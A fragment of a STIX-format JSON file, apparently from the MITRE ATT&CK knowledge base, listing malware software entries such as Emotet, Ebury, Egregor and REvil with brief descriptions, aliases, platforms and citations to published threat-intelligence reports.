                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
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                    "url": "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/",
                    "description": "Lozhkin, S.. (2015, July 16). Minidionis \u2013 one more APT with a usage of cloud drives. Retrieved April 5, 2017.",
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                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/",
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                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
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                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
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            "description": "[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)",
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                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
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            "description": "[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)",
            "name": "Duqu",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack"
                },
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                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
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                    "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf",
                    "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.",
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                },
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                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
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            ],
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            "description": "[Dyre](https://attack.mitre.org/software/S0024) is a banking Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)",
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                {
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                    "url": "https://attack.mitre.org/software/S0024",
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                    "description": "(Citation: Symantec Dyre June 2015)"
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                    "source_name": "Dyzap",
                    "description": "(Citation: Sophos Dyreza April 2015)"
                },
                {
                    "source_name": "Dyreza",
                    "description": "(Citation: Sophos Dyreza April 2015)"
                },
                {
                    "source_name": "Symantec Dyre June 2015",
                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                },
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                    "source_name": "Malwarebytes Dyreza November 2015",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
                },
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                    "source_name": "Sophos Dyreza April 2015",
                    "url": "https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/",
                    "description": "Ducklin, P. (2015, April 20). Notes from SophosLabs: Dyreza, the malware that discriminates against old computers. Retrieved June 16, 2020."
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "type": "malware",
            "labels": [
                "malware"
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            "modified": "2020-06-22T17:59:13.241Z",
            "created": "2017-05-31T21:32:19.746Z",
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                "Josh Campbell, Cyborg Security, @cyb0rgsecur1ty"
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                {
                    "external_id": "S0593",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0593"
                },
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                    "source_name": "ECCENTRICBANDWAGON",
                    "description": "(Citation: CISA EB Aug 2020)"
                },
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                    "source_name": "CISA EB Aug 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."
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            "modified": "2021-04-14T15:25:05.979Z",
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                {
                    "source_name": "mitre-attack",
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                    "external_id": "S0064"
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                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
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            "labels": [
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                "malware"
            ],
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            "description": "[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0568"
                },
                {
                    "source_name": "EVILNUM",
                    "description": "(Citation: Prevailion EvilNum May 2020)(Citation: ESET EvilNum July 2020)"
                },
                {
                    "source_name": "ESET EvilNum July 2020",
                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
                },
                {
                    "source_name": "Prevailion EvilNum May 2020",
                    "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html",
                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021."
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            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_aliases": [
                "EVILNUM"
            ],
            "x_mitre_version": "1.0"
        },
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            "created": "2019-04-19T16:40:24.922Z",
            "modified": "2021-04-23T22:56:14.591Z",
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                "malware"
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            "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)",
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                    "external_id": "S0377",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0377"
                },
                {
                    "source_name": "Ebury",
                    "description": "(Citation: ESET Ebury Feb 2014)"
                },
                {
                    "source_name": "ESET Ebury Feb 2014",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."
                },
                {
                    "source_name": "BleepingComputer Ebury March 2017",
                    "url": "https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/",
                    "description": "Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019."
                },
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_aliases": [
                "Ebury"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_contributors": [
                "Marc-Etienne M.L\u00e9veill\u00e9, ESET"
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        },
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            "description": "[Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)",
            "name": "Egregor",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "S0554",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0554"
                },
                {
                    "source_name": "Egregor",
                    "description": "(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)"
                },
                {
                    "source_name": "NHS Digital Egregor Nov 2020",
                    "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary",
                    "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Cyble Egregor Oct 2020",
                    "url": "https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/",
                    "description": "Cybleinc. (2020, October 31). Egregor Ransomware \u2013 A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Security Boulevard Egregor Oct 2020",
                    "url": "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/",
                    "description": "Meskauskas, T.. (2020, October 29). Egregor: Sekhmet\u2019s Cousin. Retrieved January 6, 2021."
                }
            ],
            "type": "malware",
            "labels": [
                "malware"
            ],
            "modified": "2021-04-27T02:48:00.306Z",
            "created": "2020-12-29T21:32:27.939Z",
            "x_mitre_platforms": [
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            "x_mitre_aliases": [
                "Egregor"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Daniyal Naeem, BT Security",
                "Matt Brenton, Zurich Insurance Group"
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                    "url": "https://attack.mitre.org/software/S0081",
                    "external_id": "S0081"
                },
                {
                    "source_name": "Elise",
                    "description": "(Citation: Accenture Dragonfish Jan 2018)"
                },
                {
                    "source_name": "BKDR_ESILE",
                    "description": "(Citation: Lotus Blossom Jun 2015)"
                },
                {
                    "source_name": "Page",
                    "description": "(Citation: Lotus Blossom Jun 2015)"
                },
                {
                    "source_name": "Lotus Blossom Jun 2015",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
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                {
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
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            ],
            "description": "[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)",
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            "modified": "2020-03-20T23:20:16.933Z",
            "created": "2017-05-31T21:32:54.416Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Emissary",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0082",
                    "external_id": "S0082"
                },
                {
                    "source_name": "Emissary",
                    "description": "(Citation: Lotus Blossom Dec 2015)"
                },
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
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            "type": "malware",
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            "modified": "2020-03-20T17:06:41.399Z",
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                {
                    "external_id": "S0367",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/software/S0367"
                },
                {
                    "source_name": "Emotet",
                    "description": "(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) "
                },
                {
                    "source_name": "Geodo",
                    "description": "(Citation: Trend Micro Emotet Jan 2019)"
                },
                {
                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Kaspersky Emotet Jan 2019",
                    "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/",
                    "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019."
                },
                {
                    "source_name": "CIS Emotet Apr 2017",
                    "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/",
                    "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Malwarebytes Emotet Dec 2017",
                    "url": "https://support.malwarebytes.com/docs/DOC-2295",
                    "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.",
                    "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/",
                    "source_name": "ESET Emotet Nov 2018"
                },
                {
                    "source_name": "Secureworks Emotet Nov 2018",
                    "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader",
                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
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            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)",
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                    "url": "https://attack.mitre.org/software/S0049",
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            "id": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69",
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                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
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            "created": "2021-03-12T16:10:45.416Z",
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                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
                    "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."
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                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
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                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.",
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                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
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                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
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                    "source_name": "Cybereason Molerats Dec 2020",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf",
                    "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."
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            "description": "[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)",
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                {
                    "source_name": "mitre-attack",
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                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
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                },
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                    "source_name": "More_eggs",
                    "description": "(Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020)"
                },
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                    "source_name": "SKID",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
                },
                {
                    "source_name": "Terra Loader",
                    "description": "(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019)"
                },
                {
                    "source_name": "SpicyOmelette",
                    "description": "(Citation: Security Intelligence More Eggs Aug 2019)"
                },
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "source_name": "Security Intelligence More Eggs Aug 2019"
                },
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                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
                },
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                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                },
                {
                    "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.",
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            ],
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                    "source_name": "Mosquito",
                    "description": "(Citation: ESET Turla Mosquito Jan 2018)"
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
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            "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)",
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                    "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)"
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                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"
                },
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                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
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            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)",
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                "Linux",
                "macOS"
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                    "description": "(Citation: Unit 42 NOKKI Sept 2018)"
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                {
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018."
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                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
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                    "source_name": "Symantec Naid June 2012",
                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
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                    "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018."
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                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
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                    "description": "(Citation: Talos NavRAT May 2018)"
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                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
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                    "description": "(Citation: McAfee Oceansalt Oct 2018)"
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                {
                    "source_name": "JPCert PLEAD Downloader June 2018",
                    "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html",
                    "description": "Tomonaga, S.. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."
                },
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                    "source_name": "JPCert TSCookie March 2018",
                    "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html",
                    "description": "Tomonaga, S.. (2018, March 6). Malware \u201cTSCookie\u201d. Retrieved May 6, 2020."
                },
                {
                    "source_name": "Trend Micro PLEAD RTLO",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/",
                    "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."
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                "malware"
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                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
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                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
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            ],
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                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
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                    "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019."
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                    "source_name": "Sodin",
                    "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)"
                },
                {
                    "source_name": "Sodinokibi",
                    "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)"
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                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
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                    "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html",
                    "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020."
                },
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                    "source_name": "Kaspersky Sodin July 2019",
                    "url": "https://securelist.com/sodin-ransomware/91473/",
                    "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."
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                    "source_name": "G Data Sodinokibi June 2019",
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                    "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."
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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Secureworks GandCrab and REvil September 2019",
                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Talos Sodinokibi April 2019",
                    "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html",
                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."
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                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
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                    "source_name": "McAfee REvil October 2019",
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                    "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020."
                },
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                    "source_name": "Picus Sodinokibi January 2020",
                    "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware",
                    "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."
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                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
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            "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)",
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                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
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            ],
            "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)",
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                    "description": "(Citation: Talos ROKRAT 2) (Citation: Talos Group123)"
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                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
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                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
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                    "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.",
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                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
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                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
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                    "source_name": "Sophos Ragnar May 2020",
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                    "url": "https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/",
                    "description": "Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020."
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                    "description": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"
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                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware",
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            "description": "[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)",
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                    "description": "(Citation: Eset Ramsay May 2020)"
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                    "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/",
